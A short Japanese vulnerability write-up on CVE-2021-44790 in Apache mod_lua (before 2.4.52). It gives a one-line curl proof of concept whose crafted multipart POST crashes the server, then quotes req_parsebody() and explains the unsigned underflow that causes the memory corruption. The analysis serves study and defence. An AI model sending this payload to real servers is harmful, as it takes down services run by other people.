概要
Apache 2.4.X < 2.4.52 で実行可能な CVE-2021-44790
頑張れば任意コード実行もできるらしい。
前提としてはlua実行可能となっていること。
PoC
以下実行でApache鯖は異常終了する
$ curl -v -X POST -H 'content-type: multipart/form-data; boundary=-' --data-binary $'-\r\n\r\naaa-' http://127.0.0.1/test.lua
原因
lua_request.c / req_parsebody() 一部抜粋
for
(
start = strstr((char *) data, multipart);
start != NULL;
start = end
) {
i++;
if (i == POST_MAX_VARS) break;
crlf = strstr((char *) start, "\r\n\r\n");
if (!crlf) break;
end = ap_lua_binstrstr(crlf, (size - (crlf - data)), multipart, len);
if (end == NULL) break;
key = (char *) apr_pcalloc(r->pool, 256);
filename = (char *) apr_pcalloc(r->pool, 256);
vlen = end - crlf - 8;
buffer = (char *) apr_pcalloc(r->pool, vlen+1);
memcpy(buffer, crlf + 4, vlen);
sscanf(start + len + 2,
"Content-Disposition: form-data; name=\"%255[^\"]\"; filename=\"%255[^\"]\"",
key, filename);
if (*key) {
req_aprtable2luatable_cb_len(L, key, buffer, vlen);
}
}
にて、vlen は size_t (typedef unsigned long long size_t) 型 であり、
該当箇所でアンダーフローするケースがある。
vlen = end - crlf - 8; // (end - crlf) < 8 でアンダフローする
crlf は "\r\n\r\n" を開始とするポインタ → 1つ目の\rが格納されているアドレス
end は "\r\n\r\n"の次の文字からのポインタ → aが格納されているアドレス
である。
今回の場合は
crlf と end の間が 4[Byte] しか離れていないため vlen はアンダフローする。
結果、以下処理でメモリ破壊が行われクラッシュする。
ここで [crlf + 4] ~ [crlf + 4 + vlen] に任意コードの埋め込みに成功すると
bufferを通して実行できそうなイメージはつく。
memcpy(buffer, crlf + 4, vlen);